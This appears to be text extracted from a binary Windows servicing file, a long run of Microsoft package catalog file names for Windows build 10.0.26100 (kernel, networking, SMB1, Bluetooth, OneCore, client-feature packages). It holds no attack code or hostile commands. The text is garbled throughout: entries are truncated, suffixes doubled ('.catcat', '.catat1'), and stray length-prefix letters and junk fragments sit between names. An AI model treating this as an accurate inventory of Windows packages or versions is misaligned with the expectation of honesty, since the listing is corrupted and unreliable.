nMicrosoft-Windows-Kernel-Package-DriverVerifier-Tools-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.catd }Microsoft-Windows-Kernel-Package-HardwareAccelerators-ClassExtension-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat lMicrosoft-Windows-Kernel-Package-IsolatedUserMode-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat wMicrosoft-Windows-Kernel-Package-Kernel-Power-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat wMicrosoft-Windows-Kernel-Package-Kernel-Processor-Power-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat _Microsoft-Windows-Kernel-Package-Ntdll-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat bMicrosoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat6 kMicrosoft-Windows-Kernel-Package-Processor-Drivers-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat` dMicrosoft-Windows-Kernel-Package-Storage-Tiering-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat ^Microsoft-Windows-Network-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat XMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.catcat# APackage_for_RollupFix~31bf3856ad364e35~amd64~~26100.7840.1.19.cat iMicrosoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat dMicrosoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat oMicrosoft-Windows-Kernel-Package-System-Counters-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat jMicrosoft-Windows-Kernel-Package-System-Counters-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat qMicrosoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.catwo lMicrosoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat gMicrosoft-Windows-Kernel-Package-System-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat `Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat [Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat [Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat cMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat fMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.catt aMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat.1 aMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat.1 `Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat \Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ZMicrosoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat1 ZMicrosoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat1 XMicrosoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.catat1 4e35~amd64~~10.0.26100.7623.cat [Microsoft-Windows-CoreSystem-DXG-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-Windows-CoreSystem-DXG-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat.1 aMicrosoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ^Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat0 ]Microsoft-Windows-CoreSystem-MSXML6-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat47 eMicrosoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat YMicrosoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.catat aMicrosoft-Windows-CoreSystem-Security-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat [Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat _Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat@ _Microsoft-Windows-DataCenterBridging-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat bMicrosoft-Windows-Desktop-BCDTemplate-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ^Microsoft-Windows-Desktop-Shared-removable-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 50.cat fMicrosoft-Windows-Embedded-UnifiedWriteFilterCSP-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat yDesktopEditions-Layer-Data-VersionInfo-Dynamic-26145-EKB-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat61 YHyperV-KernelInt-VirtualDevice-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat AHyperV-Virtio-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat.2l XMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.catt RMicrosoft-OneCore-Console-Host-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat7 [Microsoft-OneCore-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catJ _Microsoft-OneCore-Graphics-IndirectDisplays-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Microsoft-OneCore-PerformanceCounters-V2-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat ZMicrosoft-OneCore-UtilityVm-SetupAgent-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat YMicrosoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat WMicrosoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.catc XMicrosoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catn-U -US~10.0.26100.1.cat( XMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-WindowsCore-HardwareAccelerators-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat; 6e3~ace VMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 VMicrosoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat0 ]Microsoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-Windows-SMB1Deprecation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WMicrosoft-Windows-SMB1Deprecation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat RMicrosoft-Windows-SMB1Deprecation-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat. XMicrosoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat VMicrosoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat VMicrosoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat [Microsoft-Windows-SmbDirect-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat [Microsoft-Windows-SmbDirect-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat UMicrosoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat SMicrosoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat SMicrosoft-Windows-SmbDirect-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat UMicrosoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat .cat .26100.7824.cat0 bbrrnnC \Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat.11 WMicrosoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WMicrosoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat \Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat WMicrosoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WMicrosoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat WMicrosoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WMicrosoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat WMicrosoft-Windows-Client-Features-Package04~31bf3856ad364e35~amd64~~10.0.26100.1591.cat WMicrosoft-Windows-Client-Features-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat YMicrosoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WMicrosoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat UMicrosoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.catt3 0~~3p jMicrosoft-Windows-LanguageFeatures-Basic-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat2 hMicrosoft-Windows-LanguageFeatures-Handwriting-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat `Microsoft-Windows-LanguageFeatures-OCR-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat qMicrosoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat QMicrosoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1455.cat26S SMicrosoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-MCUpdate-UpdateDLLs-IntelAMD-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat YMicrosoft-Windows-MediaPlayer-Opt-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat26 [Microsoft-Windows-MediaPlayer-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1742.cat aMicrosoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat ZMicrosoft-Windows-msmq-dcomproxy-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-Windows-msmq-mmc-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.catt 0.26100.7839.cat 4m~00er WMicrosoft-OneCore-Bluetooth-Input-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-OneCore-Bluetooth-Input-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat UMicrosoft-OneCore-Bluetooth-Input-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat QMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catca TMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat OMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat OMicrosoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WMicrosoft-OneCore-Bluetooth-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-OneCore-Bluetooth-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat UMicrosoft-OneCore-Bluetooth-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat UMicrosoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat S~10.0.26100.4484.cat \Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.catcat _Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Microsoft-OneCore-Common-DriverClasses-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat .0.26100.1150.cat _Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat _Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat _Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.catca ]Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.catca ]Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.catca ]Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.catca `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat NMicrosoft-Windows-COM-MSMQ-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat3 NMicrosoft-Windows-COM-MSMQ-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat. TMicrosoft-Windows-Common-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat.1. ZMicrosoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catU OMicrosoft-OneCore-Pnp-Basic-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat TMicrosoft-OneCore-Pnp-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ZMicrosoft-OneCore-Pnp-PlatformServices-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat. dMicrosoft-OneCore-Pnp-RuntimeDeviceInstall-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat fMicrosoft-OneCore-SecureStartup-Foundation-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat XMicrosoft-OneCore-Sensors-Algorithms-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat WMicrosoft-Onecore-SPP-VirtualDevice-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.catt ZMicrosoft-OneCore-SystemCounters-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat ]Microsoft-OneCore-TraceDataHelper-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-OneCore-TroubleShooting-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat hMicrosoft-UtilityVM-Containers-Setup-Shared-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat1.c tMicrosoft-Windows-ApiSetSchemaExtension-HyperV-DeviceVirtualization-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat `Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat76 aMicrosoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat59 aMicrosoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat59 aMicrosoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat59 cMicrosoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat59 aMicrosoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.catat cMicrosoft-Windows-Client-Desktop-Required-Package041520~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat42 aMicrosoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat42 aMicrosoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat42 aMicrosoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat42 aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat42 bMicrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat6 gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat .1742.cat SMicrosoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat# `Microsoft-Windows-StepsRecorder-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat SMicrosoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat ZMicrosoft-Windows-TabletPCMath-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat _Microsoft-Windows-Telnet-Client-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat fMicrosoft-Windows-TerminalServices-AppCompat-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat xMicrosoft-Windows-TerminalServices-AppServer-Client-FOD-Package-Wrapper~31bf3856ad364e35~wow64~en-US~10.0.26100.7824.cat pMicrosoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7824.cat rMicrosoft-Windows-TerminalServices-AppServerClient-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat mMicrosoft-Windows-TerminalServices-Publishing-WMIProvider-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.catca- bMicrosoft-Windows-TerminalServices-WMIProvider-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat [Microsoft-Windows-TrustedExecution-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat _Microsoft-Windows-UI-Shell-WindowTabManager-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat ore-DWM-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat73v 88oc pMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat kMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat kMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat fMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat. iMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6899.catt dMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat25. dMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat25. gMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat eMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat aMicrosoft-Windows-CoreSystem-BootEnv-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat _Microsoft-Windows-CoreSystem-BootEnv-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat ZMicrosoft-Windows-CoreSystem-BootEnv-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cato ]Microsoft-Windows-CoreSystem-BootEnv-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cateS XMicrosoft-Windows-CoreSystem-BootEnv-Package~31bf3856ad364e35~amd64~~10.0.26100.1455.cat tn15 NMicrosoft-Windows-FlipGridPWA-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat~ NMicrosoft-Windows-FodMetadata-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat~ fMicrosoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat sMicrosoft-Windows-FodMetadataServicing-Desktop-Metadata-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat sMicrosoft-Windows-FodMetadataServicing-Desktop-Metadata-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat kMicrosoft-Windows-FodMetadataServicing-Desktop-Metadata-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat kMicrosoft-Windows-FodMetadataServicing-Desktop-Metadata-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat [Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat VMicrosoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat cMicrosoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat cMicrosoft-Windows-Foundation-Group-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-Windows-Foundation-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat ZMicrosoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat2 ZMicrosoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat2 bMicrosoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat `Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat sMicrosoft-OneCore-EnterpriseTempControls-ActiveConfig-25h2-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat nMicrosoft-OneCore-EnterpriseTempControls-ActiveConfig-25h2-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat {Microsoft-OneCore-EnterpriseTempControls-ActiveConfig-25h2-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat vMicrosoft-OneCore-EnterpriseTempControls-ActiveConfig-25h2-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.catc MMicrosoft-OneCore-ESENT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat KMicrosoft-OneCore-ESENT-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat KMicrosoft-OneCore-ESENT-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat 26100.7019.cat.2 TMicrosoft-OneCore-ETW-Rundown-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WMicrosoft-OneCore-ETW-Rundown-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat _Microsoft-OneCore-Graphics-IndirectDisplays-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ^Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat aMicrosoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.catatc ^Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catc aMicrosoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat \Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat \Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat WMicrosoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat WMicrosoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat _Microsoft-OneCore-Graphics-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat UMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat 0.Sn oMicrosoft-OneCore-Containers-Client-Manager-Shared-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat _Microsoft-OneCore-Containers-Guest-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-OneCore-Containers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat9. ^Microsoft-OneCore-CorePrivacySettingsStore-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat0 kMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat `Microsoft-OneCore-CoreSystem-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat OMicrosoft-OneCore-DebugCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat _Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat SMicrosoft-OneCore-ESENT-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.catG WMicrosoft-OneCore-EventLog-Api-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat ^Microsoft-OneCore-FileSystem-Support-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat eMicrosoft-OneCore-Fonts-DesktopFonts-Supplement-Hant-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat [Microsoft-OneCore-Graphics-DirectX-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.catz 810f iMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat hMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.863.cat dMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-OneCore-CoreSystem-BootableSKU-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.863.cat aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat 